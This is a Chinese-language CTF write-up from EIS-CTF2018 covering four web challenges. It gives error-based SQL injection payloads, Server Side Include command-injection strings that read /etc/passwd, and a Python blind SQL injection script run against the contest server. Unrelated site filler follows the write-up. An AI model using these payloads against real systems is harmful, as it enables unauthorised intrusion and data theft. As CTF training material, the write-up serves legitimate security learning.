EIS-CTF2018

simpleBBS

题目:http://bbs.sec.zju.edu.cn/

进入网站 注册 登录

题目中没有任何提示,只说是简单的bbs(论坛)各种操作轮番上阵xss各种弹,没卵用,甚至右边有个文件上传测试,以为是文件上传,结果也没找到上传点,好吧放弃了,

那是不可能的,一翻py,fuzz,注册的时候会报错,

说明注册的时候需要加一个参数sn,抓包添加sn参数,注册成功。

不过给我最大的启发是这个页面报错,数据库,难道暗示着 数据库报错,注入?

试试 注册页面翻云覆雨的fuzz,好吧单引号过滤了,我注入你个螺旋大锤子。

??不对,我登录页面给个单引号呢,经过一翻测试,必须要已经注册的账号加单引号才有效。

好的 测试开始,账号 username=xiaozhupeiqi1'&password123456

这是啥??数据库报错?好了,二话不说就是报错注入,

flag出来了,hiahiahia,提交,乔德麻袋??flag咋不全,别担心换个函数

username=aaa' and 1=updatexml(1,concat(0x3a,(select mid(flag,32,32) from flag) ,0x3a),1)--

OK了剩下的几位也出来了。此题 完!

SimpleExtensionExplorerInjection

请看题目,重点 xxe,后面是/flag,就是flag路径,

开局两个框,抓包!

我*?不是xml吗,你给我发个json格式包,你想做爪子?

不对,这是ctf,这很正常,佩奇老哥给你传个xml格式试试水,

牛皮,xml 数据可以传输,那么比较容易忽视的点来了,三个箭头的地方原本是json,既然要传输xml,一定要修改成xml,否则你做出来我吃*,

然后xxe,不会的请自行参考我的博客xxe,

来个payload 包,

完结!

SimpleServerInjection

重点,SSI 是服务器注入,拓展下,ssti是服务器模版注入,名字很像,利用方式有区别,然后flag在当前目录下,

这道CTF题还是比较简单,但是需要点,点不对打死也做不出来,想复杂的话 更做不出来。

payload

    name=<!--%23exec cmd="cat /etc/passwd"-->

这里有个小点,如果是#浏览器会自动当成注释,不会解析发包,所以这里给编码%23

但是并没卵用,一开始以为会过滤了东西,但是看不出来哪过滤了,这个时候就要多尝试命令,

毕竟ssi有那么多命令

尝试过后使用

    name=<!--%23include virtual="flag"-->

 SimpleBlog

题目,简单的blog,然后在classes给提示说是二次注入,一翻尝试之后无果,最后大佬给的思路,注意主页的提示

注意0分,final exam提交答卷会随机给一个成绩,既然说二次注入,会不会是看成绩的时候会把用户名啥的代入到数据库中,因为提交答卷分数插入到数据库,这里可能造成二次注入,即然这样那注入点就在用户名上面了,不断注册查看是否等于0,后来看wp晓得,当成绩为0时说明逻辑错误,不为0则逻辑正常。

然后注册 账号为 1' or 1=1 or '

账号这里有几个点着重说一下

前面的1要单引号闭合,这句逻辑账号有三个语句要判断,第一个1’ 数据库中可能要查询啥不清楚后端代码,这里判断是错的,or 1=1 这个语句是对的, or' 闭合语句这句也逻辑也是错的,所以我们 or判断只要是对的 那么分数查询那里就会是有分,否则就是0分。

现在就可写脚本进行检测,首先确定好自己的 注入语句,这里是无法通过回显来注入的,所以我们通过布尔盲注写脚本。

语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1 or '

查看效果

语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1000 or '

这句 肯定为错,因为ascii码不可能大于1000

可以看到 返回为0说明是错误的,语句已经完成接下来就写个脚本跑出flag。

    import requests

    import re

    headers = {

    'Connection': 'close',

    }//防多次访问断开连接

    flag=""

    for i in range(1,32):


        for nmb in range(32,126):


            payload={'username':"zpq888' or ascii(substr((select flag from flag limit 0,1),%s,1))=%s or'"%(i,nmb),'password':"123"}

            s=requests.Session()

            url_reg='http://210.32.4.20/register.php'

            r=s.post(url_reg,data=payload,headers=headers)

            url_log='http://210.32.4.20/login.php'

            r=s.post(url_log,data=payload,headers=headers)

            url_ans='http://210.32.4.20/answer.php'

            select={'1.a':'on'}

            r=s.post(url_ans,data=select,headers=headers)

            result=r.content[2074:2075]

            if int(result)!=0:

                flag=flag+chr(nmb)

                print flag

                break

单线程太慢不跑了!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,301评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,044评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,652评论 18 139
  • 最近清姝总是被问在哪里买基金。以前清姝在基金官网上购买,现在改用支付宝+蚂蚁聚宝了,原因很简单,省心省钱。 一、省...
    清姝阅读 1,556评论 5 51
  • 设计模式简介: 类与类直接主要有六种关系:依赖、关联、聚合、组合、继承、实现(耦合度按) 依赖关系: 关联关系: ...
    郝赫阅读 272评论 0 0